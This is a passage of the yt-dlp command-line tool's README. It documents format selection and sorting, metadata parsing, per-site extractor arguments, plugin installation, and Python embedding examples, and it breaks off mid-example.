**Deprecation warning**: Latest versions of yt-dlp can stream multiple formats to the stdout simultaneously using ffmpeg. So, in future versions, the default for this will be set to `-f bv*+ba/b` similar to normal downloads. If you want to preserve the `-f b/bv+ba` setting, it is recommended to explicitly specify it in the configuration options.
The general syntax for format selection is `-f FORMAT` (or `--format FORMAT`) where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download.
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**tl;dr:** [navigate me to examples](#format-selection-examples).
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The simplest case is requesting a specific format; e.g. with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific.
You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file.
You can use `-f -` to interactively provide the format selector *for each video*
You can also use special names to select particular edge case formats:
- `all`: Select **all formats** separately
- `mergeall`: Select and **merge all formats** (Must be used with `--audio-multistreams`, `--video-multistreams` or both)
- `b*`, `best*`: Select the best quality format that **contains either** a video or an audio or both (ie; `vcodec!=none or acodec!=none`)
- `b`, `best`: Select the best quality format that **contains both** video and audio. Equivalent to `best*[vcodec!=none][acodec!=none]`
- `bv`, `bestvideo`: Select the best quality **video-only** format. Equivalent to `best*[acodec=none]`
- `bv*`, `bestvideo*`: Select the best quality format that **contains video**. It may also contain audio. Equivalent to `best*[vcodec!=none]`
- `ba`, `bestaudio`: Select the best quality **audio-only** format. Equivalent to `best*[vcodec=none]`
- `ba*`, `bestaudio*`: Select the best quality format that **contains audio**. It may also contain video. Equivalent to `best*[acodec!=none]` ([Do not use!](https://github.com/yt-dlp/yt-dlp/issues/979#issuecomment-919629354))
- `w*`, `worst*`: Select the worst quality format that contains either a video or an audio
- `w`, `worst`: Select the worst quality format that contains both video and audio. Equivalent to `worst*[vcodec!=none][acodec!=none]`
- `wv`, `worstvideo`: Select the worst quality video-only format. Equivalent to `worst*[acodec=none]`
- `wv*`, `worstvideo*`: Select the worst quality format that contains video. It may also contain audio. Equivalent to `worst*[vcodec!=none]`
- `wa`, `worstaudio`: Select the worst quality audio-only format. Equivalent to `worst*[vcodec=none]`
- `wa*`, `worstaudio*`: Select the worst quality format that contains audio. It may also contain video. Equivalent to `worst*[acodec!=none]`
For example, to download the worst quality video-only format you can use `-f worstvideo`. It is however recommended not to use `worst` and related options. When your format selector is `worst`, the format which is worst in all respects is selected. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-S +size` or more rigorously, `-S +size,+br,+res,+fps` instead of `-f worst`. See [Sorting Formats](#sorting-formats) for more details.
You can select the n'th best format of a type by using `best<type>.<n>`. For example, `best.2` will select the 2nd best combined format. Similarly, `bv*.3` will select the 3rd best format that contains a video stream.
If you want to download multiple videos, and they don't have the same formats available, you can specify the order of preference using slashes. Note that formats on the left hand side are preferred; e.g. `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download.
If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`.
You can merge the video and audio of multiple formats into a single file using `-f <format1>+<format2>+...` (requires ffmpeg installed); e.g. `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg.
**Deprecation warning**: Since the *below* described behavior is complex and counter-intuitive, this will be removed and multistreams will be enabled by default in the future. A new operator will be instead added to limit formats to single audio/video
Unless `--video-multistreams` is used, all formats with a video stream except the first one are ignored. Similarly, unless `--audio-multistreams` is used, all formats with an audio stream except the first one are ignored. E.g. `-f bestvideo+best+bestaudio --video-multistreams --audio-multistreams` will download and merge all 3 given formats. The resulting file will have 2 video streams and 2 audio streams. But `-f bestvideo+best+bestaudio --no-video-multistreams` will download and merge only `bestvideo` and `bestaudio`. `best` is ignored since another format containing a video stream (`bestvideo`) has already been selected. The order of the formats is therefore important. `-f best+bestaudio --no-audio-multistreams` will download only `best` while `-f bestaudio+best --no-audio-multistreams` will ignore `best` and download only `bestaudio`.
## Filtering Formats
You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"` since filters without a selector are interpreted as `best`).
The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals):
- `filesize`: The number of bytes, if known in advance
- `filesize_approx`: An estimate for the number of bytes
- `width`: Width of the video, if known
- `height`: Height of the video, if known
- `aspect_ratio`: Aspect ratio of the video, if known
- `tbr`: Average bitrate of audio and video in KBit/s
- `abr`: Average audio bitrate in KBit/s
- `vbr`: Average video bitrate in KBit/s
- `asr`: Audio sampling rate in Hertz
- `fps`: Frame rate
- `audio_channels`: The number of audio channels
- `stretched_ratio`: `width:height` of the video's pixels, if not square
Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains), `~=` (matches regex) and following string meta fields:
- `url`: Video URL
- `ext`: File extension
- `acodec`: Name of the audio codec in use
- `vcodec`: Name of the video codec in use
- `container`: Name of the container format
- `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`)
- `language`: Language code
- `dynamic_range`: The dynamic range of the video
- `format_id`: A short description of the format
- `format`: A human-readable description of the format
- `format_note`: Additional info about the format
- `resolution`: Textual description of width and height
Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). The comparand of a string comparison needs to be quoted with either double or single quotes if it contains spaces or special characters other than `._-`.
**Note**: None of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the website. Any other field made available by the extractor can also be used for filtering.
Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "bv[height<=?720][tbr>500]"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 KBit/s. You can also use the filters with `all` to download all formats that satisfy the filter, e.g. `-f "all[vcodec=none]"` selects all audio-only formats.
Format selectors can also be grouped using parentheses; e.g. `-f "(mp4,webm)[height<480]"` will download the best pre-merged mp4 and webm formats with a height lower than 480.
## Sorting Formats
You can change the criteria for being considered the `best` by using `-S` (`--format-sort`). The general format for this is `--format-sort field1,field2...`.
The available fields are:
- `hasvid`: Gives priority to formats that have a video stream
- `hasaud`: Gives priority to formats that have an audio stream
- `ie_pref`: The format preference
- `lang`: The language preference
- `quality`: The quality of the format
- `source`: The preference of the source
- `proto`: Protocol used for download (`https`/`ftps` > `http`/`ftp` > `m3u8_native`/`m3u8` > `http_dash_segments`> `websocket_frag` > `mms`/`rtsp` > `f4f`/`f4m`)
- `vcodec`: Video Codec (`av01` > `vp9.2` > `vp9` > `h265` > `h264` > `vp8` > `h263` > `theora` > other)
- `acodec`: Audio Codec (`flac`/`alac` > `wav`/`aiff` > `opus` > `vorbis` > `aac` > `mp4a` > `mp3` > `ac4` > `eac3` > `ac3` > `dts` > other)
- `codec`: Equivalent to `vcodec,acodec`
- `vext`: Video Extension (`mp4` > `mov` > `webm` > `flv` > other). If `--prefer-free-formats` is used, `webm` is preferred.
- `aext`: Audio Extension (`m4a` > `aac` > `mp3` > `ogg` > `opus` > `webm` > other). If `--prefer-free-formats` is used, the order changes to `ogg` > `opus` > `webm` > `mp3` > `m4a` > `aac`
- `ext`: Equivalent to `vext,aext`
- `filesize`: Exact filesize, if known in advance
- `fs_approx`: Approximate filesize
- `size`: Exact filesize if available, otherwise approximate filesize
- `height`: Height of video
- `width`: Width of video
- `res`: Video resolution, calculated as the smallest dimension.
- `fps`: Framerate of video
- `hdr`: The dynamic range of the video (`DV` > `HDR12` > `HDR10+` > `HDR10` > `HLG` > `SDR`)
- `channels`: The number of audio channels
- `tbr`: Total average bitrate in KBit/s
- `vbr`: Average video bitrate in KBit/s
- `abr`: Average audio bitrate in KBit/s
- `br`: Average bitrate in KBit/s, `tbr`/`vbr`/`abr`
- `asr`: Audio sample rate in Hz
**Deprecation warning**: Many of these fields have (currently undocumented) aliases, that may be removed in a future version. It is recommended to use only the documented field names.
All fields, unless specified otherwise, are sorted in descending order. To reverse this, prefix the field with a `+`. E.g. `+res` prefers format with the smallest resolution. Additionally, you can suffix a preferred value for the fields, separated by a `:`. E.g. `res:720` prefers larger videos, but no larger than 720p and the smallest video if there are no videos less than 720p. For `codec` and `ext`, you can provide two preferred values, the first for video and the second for audio. E.g. `+codec:avc:m4a` (equivalent to `+vcodec:avc,+acodec:m4a`) sets the video codec preference to `h264` > `h265` > `vp9` > `vp9.2` > `av01` > `vp8` > `h263` > `theora` and audio codec preference to `mp4a` > `aac` > `vorbis` > `opus` > `mp3` > `ac3` > `dts`. You can also make the sorting prefer the nearest values to the provided by using `~` as the delimiter. E.g. `filesize~1G` prefers the format with filesize closest to 1 GiB.
The fields `hasvid` and `ie_pref` are always given highest priority in sorting, irrespective of the user-defined order. This behaviour can be changed by using `--format-sort-force`. Apart from these, the default order used is: `lang,quality,res,fps,hdr:12,vcodec:vp9.2,channels,acodec,size,br,asr,proto,ext,hasaud,source,id`. The extractors may override this default order, but they cannot override the user-provided order.
Note that the default has `vcodec:vp9.2`; i.e. `av1` is not preferred. Similarly, the default for hdr is `hdr:12`; i.e. dolby vision is not preferred. These choices are made since DV and AV1 formats are not yet fully compatible with most devices. This may be changed in the future as more devices become capable of smoothly playing back these formats.
If your format selector is `worst`, the last item is selected after sorting. This means it will select the format that is worst in all respects. Most of the time, what you actually want is the video with the smallest filesize instead. So it is generally better to use `-f best -S +size,+br,+res,+fps`.
**Tip**: You can use the `-v -F` to see how the formats have been sorted (worst to best).
## Format Selection examples
```bash
# Download and merge the best video-only format and the best audio-only format,
# or download the best combined format if video-only format is not available
$ yt-dlp -f "bv+ba/b"
# Download best format that contains video,
# and if it doesn't already have an audio stream, merge it with best audio-only format
$ yt-dlp -f "bv*+ba/b"
# Same as above
$ yt-dlp
# Download the best video-only format and the best audio-only format without merging them
# For this case, an output template should be used since
# by default, bestvideo and bestaudio will have the same file name.
$ yt-dlp -f "bv,ba" -o "%(title)s.f%(format_id)s.%(ext)s"
# Download and merge the best format that has a video stream,
# and all audio-only formats into one file
$ yt-dlp -f "bv*+mergeall[vcodec=none]" --audio-multistreams
# Download and merge the best format that has a video stream,
# and the best 2 audio-only formats into one file
$ yt-dlp -f "bv*+ba+ba.2" --audio-multistreams
# The following examples show the old method (without -S) of format selection
# and how to use -S to achieve a similar but (generally) better result
# Download the worst video available (old method)
$ yt-dlp -f "wv*+wa/w"
# Download the best video available but with the smallest resolution
$ yt-dlp -S "+res"
# Download the smallest video available
$ yt-dlp -S "+size,+br"
# Download the best mp4 video available, or the best video if no mp4 available
$ yt-dlp -f "bv*[ext=mp4]+ba[ext=m4a]/b[ext=mp4] / bv*+ba/b"
# Download the best video with the best extension
# (For video, mp4 > mov > webm > flv. For audio, m4a > aac > mp3 ...)
$ yt-dlp -S "ext"
# Download the best video available but no better than 480p,
# or the worst video if there is no video under 480p
$ yt-dlp -f "bv*[height<=480]+ba/b[height<=480] / wv*+ba/w"
# Download the best video available with the largest height but no better than 480p,
# or the best video with the smallest resolution if there is no video under 480p
$ yt-dlp -S "height:480"
# Download the best video available with the largest resolution but no better than 480p,
# or the best video with the smallest resolution if there is no video under 480p
# Resolution is determined by using the smallest dimension.
# So this works correctly for vertical videos as well
$ yt-dlp -S "res:480"
# Download the best video (that also has audio) but no bigger than 50 MB,
# or the worst video (that also has audio) if there is no video under 50 MB
$ yt-dlp -f "b[filesize<50M] / w"
# Download largest video (that also has audio) but no bigger than 50 MB,
# or the smallest video (that also has audio) if there is no video under 50 MB
$ yt-dlp -f "b" -S "filesize:50M"
# Download best video (that also has audio) that is closest in size to 50 MB
$ yt-dlp -f "b" -S "filesize~50M"
# Download best video available via direct link over HTTP/HTTPS protocol,
# or the best video available via any protocol if there is no such video
$ yt-dlp -f "(bv*+ba/b)[protocol^=http][protocol!*=dash] / (bv*+ba/b)"
# Download best video available via the best protocol
# (https/ftps > http/ftp > m3u8_native > m3u8 > http_dash_segments ...)
$ yt-dlp -S "proto"
# Download the best video with either h264 or h265 codec,
# or the best video if there is no such video
$ yt-dlp -f "(bv*[vcodec~='^((he|a)vc|h26[45])']+ba) / (bv*+ba/b)"
# Download the best video with best codec no better than h264,
# or the best video with worst codec if there is no such video
$ yt-dlp -S "codec:h264"
# Download the best video with worst codec no worse than h264,
# or the best video with best codec if there is no such video
$ yt-dlp -S "+codec:h264"
# More complex examples
# Download the best video no better than 720p preferring framerate greater than 30,
# or the worst video (still preferring framerate greater than 30) if there is no such video
$ yt-dlp -f "((bv*[fps>30]/bv*)[height<=720]/(wv*[fps>30]/wv*)) + ba / (b[fps>30]/b)[height<=720]/(w[fps>30]/w)"
# Download the video with the largest resolution no better than 720p,
# or the video with the smallest resolution available if there is no such video,
# preferring larger framerate for formats with the same resolution
$ yt-dlp -S "res:720,fps"
# Download the video with smallest resolution no worse than 480p,
# or the video with the largest resolution available if there is no such video,
# preferring better codec and then larger total bitrate for the same resolution
$ yt-dlp -S "+res:480,codec,br"
```
# MODIFYING METADATA
The metadata obtained by the extractors can be modified by using `--parse-metadata` and `--replace-in-metadata`
`--replace-in-metadata FIELDS REGEX REPLACE` is used to replace text in any metadata field using [python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax). [Backreferences](https://docs.python.org/3/library/re.html?highlight=backreferences#re.sub) can be used in the replace string for advanced use.
The general syntax of `--parse-metadata FROM:TO` is to give the name of a field or an [output template](#output-template) to extract data from, and the format to interpret it as, separated by a colon `:`. Either a [python regular expression](https://docs.python.org/3/library/re.html#regular-expression-syntax) with named capture groups, a single field name, or a similar syntax to the [output template](#output-template) (only `%(field)s` formatting is supported) can be used for `TO`. The option can be used multiple times to parse and modify various fields.
Note that these options preserve their relative order, allowing replacements to be made in parsed fields and viceversa. Also, any field thus created can be used in the [output template](#output-template) and will also affect the media file's metadata added when using `--embed-metadata`.
This option also has a few special uses:
* You can download an additional URL based on the metadata of the currently downloaded video. To do this, set the field `additional_urls` to the URL that you want to download. E.g. `--parse-metadata "description:(?P<additional_urls>https?://www\.vimeo\.com/\d+)"` will download the first vimeo video found in the description
* You can use this to change the metadata that is embedded in the media file. To do this, set the value of the corresponding field with a `meta_` prefix. For example, any value you set to `meta_description` field will be added to the `description` field in the file - you can use this to set a different "description" and "synopsis". To modify the metadata of individual streams, use the `meta<n>_` prefix (e.g. `meta1_language`). Any value set to the `meta_` field will overwrite all default values.
**Note**: Metadata modification happens before format selection, post-extraction and other post-processing operations. Some fields may be added or changed during these steps, overriding your changes.
For reference, these are the fields yt-dlp adds by default to the file metadata:
Metadata fields | From
:--------------------------|:------------------------------------------------
`title` | `track` or `title`
`date` | `upload_date`
`description`, `synopsis` | `description`
`purl`, `comment` | `webpage_url`
`track` | `track_number`
`artist` | `artist`, `creator`, `uploader` or `uploader_id`
`genre` | `genre`
`album` | `album`
`album_artist` | `album_artist`
`disc` | `disc_number`
`show` | `series`
`season_number` | `season_number`
`episode_id` | `episode` or `episode_id`
`episode_sort` | `episode_number`
`language` of each stream | the format's `language`
**Note**: The file format may not support some of these fields
## Modifying metadata examples
```bash
# Interpret the title as "Artist - Title"
$ yt-dlp --parse-metadata "title:%(artist)s - %(title)s"
# Regex example
$ yt-dlp --parse-metadata "description:Artist - (?P<artist>.+)"
# Set title as "Series name S01E05"
$ yt-dlp --parse-metadata "%(series)s S%(season_number)02dE%(episode_number)02d:%(title)s"
# Prioritize uploader as the "artist" field in video metadata
$ yt-dlp --parse-metadata "%(uploader|)s:%(meta_artist)s" --embed-metadata
# Set "comment" field in video metadata using description instead of webpage_url,
# handling multiple lines correctly
$ yt-dlp --parse-metadata "description:(?s)(?P<meta_comment>.+)" --embed-metadata
# Do not set any "synopsis" in the video metadata
$ yt-dlp --parse-metadata ":(?P<meta_synopsis>)"
# Remove "formats" field from the infojson by setting it to an empty string
$ yt-dlp --parse-metadata "video::(?P<formats>)" --write-info-json
# Replace all spaces and "_" in title and uploader with a `-`
$ yt-dlp --replace-in-metadata "title,uploader" "[ _]" "-"
```
# EXTRACTOR ARGUMENTS
Some extractors accept additional arguments which can be passed using `--extractor-args KEY:ARGS`. `ARGS` is a `;` (semicolon) separated string of `ARG=VAL1,VAL2`. E.g. `--extractor-args "youtube:player-client=android_embedded,web;include_live_dash" --extractor-args "funimation:version=uncut"`
Note: In CLI, `ARG` can use `-` instead of `_`; e.g. `youtube:player-client"` becomes `youtube:player_client"`
The following extractors use this feature:
#### youtube
* `lang`: Prefer translated metadata (`title`, `description` etc) of this language code (case-sensitive). By default, the video primary language metadata is preferred, with a fallback to `en` translated. See [youtube.py](https://github.com/yt-dlp/yt-dlp/blob/c26f9b991a0681fd3ea548d535919cec1fbbd430/yt_dlp/extractor/youtube.py#L381-L390) for list of supported content language codes
* `skip`: One or more of `hls`, `dash` or `translated_subs` to skip extraction of the m3u8 manifests, dash manifests and [auto-translated subtitles](https://github.com/yt-dlp/yt-dlp/issues/4090#issuecomment-1158102032) respectively
* `player_client`: Clients to extract video data from. The main clients are `web`, `android` and `ios` with variants `_music`, `_embedded`, `_embedscreen`, `_creator` (e.g. `web_embedded`); and `mweb` and `tv_embedded` (agegate bypass) with no variants. By default, `ios,android,web` is used, but `tv_embedded` and `creator` variants are added as required for age-gated videos. Similarly, the music variants are added for `music.youtube.com` urls. You can use `all` to use all the clients, and `default` for the default clients.
* `player_skip`: Skip some network requests that are generally needed for robust extraction. One or more of `configs` (skip client configs), `webpage` (skip initial webpage), `js` (skip js player). While these options can help reduce the number of requests needed or avoid some rate-limiting, they could cause some issues. See [#860](https://github.com/yt-dlp/yt-dlp/pull/860) for more details
* `player_params`: YouTube player parameters to use for player requests. Will overwrite any default ones set by yt-dlp.
* `comment_sort`: `top` or `new` (default) - choose comment sorting mode (on YouTube's side)
* `max_comments`: Limit the amount of comments to gather. Comma-separated list of integers representing `max-comments,max-parents,max-replies,max-replies-per-thread`. Default is `all,all,all,all`
* E.g. `all,all,1000,10` will get a maximum of 1000 replies total, with up to 10 replies per thread. `1000,all,100` will get a maximum of 1000 comments, with a maximum of 100 replies total
* `formats`: Change the types of formats to return. `dashy` (convert HTTP to DASH), `duplicate` (identical content but different URLs or protocol; includes `dashy`), `incomplete` (cannot be downloaded completely - live dash and post-live m3u8)
* `innertube_host`: Innertube API host to use for all API requests; e.g. `studio.youtube.com`, `youtubei.googleapis.com`. Note that cookies exported from one subdomain will not work on others
* `innertube_key`: Innertube API key to use for all API requests
#### youtubetab (YouTube playlists, channels, feeds, etc.)
* `skip`: One or more of `webpage` (skip initial webpage download), `authcheck` (allow the download of playlists requiring authentication when no initial webpage is downloaded. This may cause unwanted behavior, see [#1122](https://github.com/yt-dlp/yt-dlp/pull/1122) for more details)
* `approximate_date`: Extract approximate `upload_date` and `timestamp` in flat-playlist. This may cause date-based filters to be slightly off
#### generic
* `fragment_query`: Passthrough any query in mpd/m3u8 manifest URLs to their fragments if no value is provided, or else apply the query string given as `fragment_query=VALUE`. Does not apply to ffmpeg
* `variant_query`: Passthrough the master m3u8 URL query to its variant playlist URLs if no value is provided, or else apply the query string given as `variant_query=VALUE`
* `hls_key`: An HLS AES-128 key URI *or* key (as hex), and optionally the IV (as hex), in the form of `(URI|KEY)[,IV]`; e.g. `generic:hls_key=ABCDEF1234567980,0xFEDCBA0987654321`. Passing any of these values will force usage of the native HLS downloader and override the corresponding values found in the m3u8 playlist
* `is_live`: Bypass live HLS detection and manually set `live_status` - a value of `false` will set `not_live`, any other value (or no value) will set `is_live`
#### funimation
* `language`: Audio languages to extract, e.g. `funimation:language=english,japanese`
* `version`: The video version to extract - `uncut` or `simulcast`
#### crunchyrollbeta (Crunchyroll)
* `format`: Which stream type(s) to extract (default: `adaptive_hls`). Potentially useful values include `adaptive_hls`, `adaptive_dash`, `vo_adaptive_hls`, `vo_adaptive_dash`, `download_hls`, `download_dash`, `multitrack_adaptive_hls_v2`
* `hardsub`: Preference order for which hardsub versions to extract, or `all` (default: `None` = no hardsubs), e.g. `crunchyrollbeta:hardsub=en-US,None`
#### vikichannel
* `video_types`: Types of videos to download - one or more of `episodes`, `movies`, `clips`, `trailers`
#### niconico
* `segment_duration`: Segment duration in milliseconds for HLS-DMC formats. Use it at your own risk since this feature **may result in your account termination.**
#### youtubewebarchive
* `check_all`: Try to check more at the cost of more requests. One or more of `thumbnails`, `captures`
#### gamejolt
* `comment_sort`: `hot` (default), `you` (cookies needed), `top`, `new` - choose comment sorting mode (on GameJolt's side)
#### hotstar
* `res`: resolution to ignore - one or more of `sd`, `hd`, `fhd`
* `vcodec`: vcodec to ignore - one or more of `h264`, `h265`, `dvh265`
* `dr`: dynamic range to ignore - one or more of `sdr`, `hdr10`, `dv`
#### tiktok
* `api_hostname`: Hostname to use for mobile API requests, e.g. `api-h2.tiktokv.com`
* `app_version`: App version to call mobile APIs with - should be set along with `manifest_app_version`, e.g. `20.2.1`
* `manifest_app_version`: Numeric app version to call mobile APIs with, e.g. `221`
#### rokfinchannel
* `tab`: Which tab to download - one of `new`, `top`, `videos`, `podcasts`, `streams`, `stacks`
#### twitter
* `legacy_api`: Force usage of the legacy Twitter API instead of the GraphQL API for tweet extraction. Has no effect if login cookies are passed
#### stacommu, wrestleuniverse
* `device_id`: UUID value assigned by the website and used to enforce device limits for paid livestream content. Can be found in browser local storage
#### twitch
* `client_id`: Client ID value to be sent with GraphQL requests, e.g. `twitch:client_id=kimne78kx3ncx6brgo4mv6wki5h1ko`
#### nhkradirulive (NHK らじる★らじる LIVE)
* `area`: Which regional variation to extract. Valid areas are: `sapporo`, `sendai`, `tokyo`, `nagoya`, `osaka`, `hiroshima`, `matsuyama`, `fukuoka`. Defaults to `tokyo`
**Note**: These options may be changed/removed in the future without concern for backward compatibility
<!-- MANPAGE: MOVE "INSTALLATION" SECTION HERE -->
# PLUGINS
Note that **all** plugins are imported even if not invoked, and that **there are no checks** performed on plugin code. **Use plugins at your own risk and only if you trust the code!**
Plugins can be of `<type>`s `extractor` or `postprocessor`.
- Extractor plugins do not need to be enabled from the CLI and are automatically invoked when the input URL is suitable for it.
- Extractor plugins take priority over builtin extractors.
- Postprocessor plugins can be invoked using `--use-postprocessor NAME`.
Plugins are loaded from the namespace packages `yt_dlp_plugins.extractor` and `yt_dlp_plugins.postprocessor`.
In other words, the file structure on the disk looks something like:
yt_dlp_plugins/
extractor/
myplugin.py
postprocessor/
myplugin.py
yt-dlp looks for these `yt_dlp_plugins` namespace folders in many locations (see below) and loads in plugins from **all** of them.
See the [wiki for some known plugins](https://github.com/yt-dlp/yt-dlp/wiki/Plugins)
## Installing Plugins
Plugins can be installed using various methods and locations.
1. **Configuration directories**:
Plugin packages (containing a `yt_dlp_plugins` namespace folder) can be dropped into the following standard [configuration locations](#configuration):
* **User Plugins**
* `${XDG_CONFIG_HOME}/yt-dlp/plugins/<package name>/yt_dlp_plugins/` (recommended on Linux/macOS)
* `${XDG_CONFIG_HOME}/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
* `${APPDATA}/yt-dlp/plugins/<package name>/yt_dlp_plugins/` (recommended on Windows)
* `${APPDATA}/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
* `~/.yt-dlp/plugins/<package name>/yt_dlp_plugins/`
* `~/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
* **System Plugins**
* `/etc/yt-dlp/plugins/<package name>/yt_dlp_plugins/`
* `/etc/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
2. **Executable location**: Plugin packages can similarly be installed in a `yt-dlp-plugins` directory under the executable location (recommended for portable installations):
* Binary: where `<root-dir>/yt-dlp.exe`, `<root-dir>/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
* Source: where `<root-dir>/yt_dlp/__main__.py`, `<root-dir>/yt-dlp-plugins/<package name>/yt_dlp_plugins/`
3. **pip and other locations in `PYTHONPATH`**
* Plugin packages can be installed and managed using `pip`. See [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) for an example.
* Note: plugin files between plugin packages installed with pip must have unique filenames.
* Any path in `PYTHONPATH` is searched in for the `yt_dlp_plugins` namespace folder.
* Note: This does not apply for Pyinstaller/py2exe builds.
`.zip`, `.egg` and `.whl` archives containing a `yt_dlp_plugins` namespace folder in their root are also supported as plugin packages.
* e.g. `${XDG_CONFIG_HOME}/yt-dlp/plugins/mypluginpkg.zip` where `mypluginpkg.zip` contains `yt_dlp_plugins/<type>/myplugin.py`
Run yt-dlp with `--verbose` to check if the plugin has been loaded.
## Developing Plugins
See the [yt-dlp-sample-plugins](https://github.com/yt-dlp/yt-dlp-sample-plugins) repo for a template plugin package and the [Plugin Development](https://github.com/yt-dlp/yt-dlp/wiki/Plugin-Development) section of the wiki for a plugin development guide.
All public classes with a name ending in `IE`/`PP` are imported from each file for extractors and postprocessors repectively. This respects underscore prefix (e.g. `_MyBasePluginIE` is private) and `__all__`. Modules can similarly be excluded by prefixing the module name with an underscore (e.g. `_myplugin.py`).
To replace an existing extractor with a subclass of one, set the `plugin_name` class keyword argument (e.g. `class MyPluginIE(ABuiltInIE, plugin_name='myplugin')` will replace `ABuiltInIE` with `MyPluginIE`). Since the extractor replaces the parent, you should exclude the subclass extractor from being imported separately by making it private using one of the methods described above.
If you are a plugin author, add [yt-dlp-plugins](https://github.com/topics/yt-dlp-plugins) as a topic to your repository for discoverability.
See the [Developer Instructions](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) on how to write and test an extractor.
# EMBEDDING YT-DLP
yt-dlp makes the best effort to be a good command-line program, and thus should be callable from any programming language.
Your program should avoid parsing the normal stdout since they may change in future versions. Instead they should use options such as `-J`, `--print`, `--progress-template`, `--exec` etc to create console output that you can reliably reproduce and parse.
From a Python program, you can embed yt-dlp in a more powerful fashion, like this:
```python
from yt_dlp import YoutubeDL
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
with YoutubeDL() as ydl:
ydl.download(URLS)
```
Most likely, you'll want to use various options. For a list of options available, have a look at [`yt_dlp/YoutubeDL.py`](yt_dlp/YoutubeDL.py#L183) or `help(yt_dlp.YoutubeDL)` in a Python shell. If you are already familiar with the CLI, you can use [`devscripts/cli_to_api.py`](https://github.com/yt-dlp/yt-dlp/blob/master/devscripts/cli_to_api.py) to translate any CLI switches to `YoutubeDL` params.
**Tip**: If you are porting your code from youtube-dl to yt-dlp, one important point to look out for is that we do not guarantee the return value of `YoutubeDL.extract_info` to be json serializable, or even be a dictionary. It will be dictionary-like, but if you want to ensure it is a serializable dictionary, pass it through `YoutubeDL.sanitize_info` as shown in the [example below](#extracting-information)
## Embedding examples
#### Extracting information
```python
import json
import yt_dlp
URL = 'https://www.youtube.com/watch?v=BaW_jenozKc'
# ℹ️ See help(yt_dlp.YoutubeDL) for a list of available options and public functions
ydl_opts = {}
with yt_dlp.YoutubeDL(ydl_opts) as ydl:
info = ydl.extract_info(URL, download=False)
# ℹ️ ydl.sanitize_info makes the info json-serializable
print(json.dumps(ydl.sanitize_info(info)))
```
#### Download using an info-json
```python
import yt_dlp
INFO_FILE = 'path/to/video.info.json'
with yt_dlp.YoutubeDL() as ydl:
error_code = ydl.download_with_info_file(INFO_FILE)
print('Some videos failed to download' if error_code
else 'All videos successfully downloaded')
```
#### Extract audio
```python
import yt_dlp
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
ydl_opts = {
'format': 'm4a/bestaudio/best',
# ℹ️ See help(yt_dlp.postprocessor) for a list of available Postprocessors and their arguments
'postprocessors': [{ # Extract audio using ffmpeg
'key': 'FFmpegExtractAudio',
'preferredcodec': 'm4a',
}]
}
with yt_dlp.YoutubeDL(ydl_opts) as ydl:
error_code = ydl.download(URLS)
```
#### Filter videos
```python
import yt_dlp
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
def longer_than_a_minute(info, *, incomplete):
"""Download only videos longer than a minute (or with unknown duration)"""
duration = info.get('duration')
if duration and duration < 60:
return 'The video is too short'
ydl_opts = {
'match_filter': longer_than_a_minute,
}
with yt_dlp.YoutubeDL(ydl_opts) as ydl:
error_code = ydl.download(URLS)
```
#### Adding logger and progress hook
```python
import yt_dlp
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
class MyLogger:
def debug(self, msg):
# For compatibility with youtube-dl, both debug and info are passed into debug
# You can distinguish them by the prefix '[debug] '
if msg.startswith('[debug] '):
pass
else:
self.info(msg)
def info(self, msg):
pass
def warning(self, msg):
pass
def error(self, msg):
print(msg)
# ℹ️ See "progress_hooks" in help(yt_dlp.YoutubeDL)
def my_hook(d):
if d['status'] == 'finished':
print('Done downloading, now post-processing ...')
ydl_opts = {
'logger': MyLogger(),
'progress_hooks': [my_hook],
}
with yt_dlp.YoutubeDL(ydl_opts) as ydl:
ydl.download(URLS)
```
#### Add a custom PostProcessor
```python
import yt_dlp
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
# ℹ️ See help(yt_dlp.postprocessor.PostProcessor)
class MyCustomPP(yt_dlp.postprocessor.PostProcessor):
def run(self, info):
self.to_screen('Doing stuff')
return [], info
with yt_dlp.YoutubeDL() as ydl:
# ℹ️ "when" can take any value in yt_dlp.utils.POSTPROCESS_WHEN
ydl.add_post_processor(MyCustomPP(), when='pre_process')
ydl.download(URLS)
```
#### Use a custom format selector
```python
import yt_dlp
URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc']
def format_selector(ctx):
""" Select the best video and the best audio that won't result in an mkv.
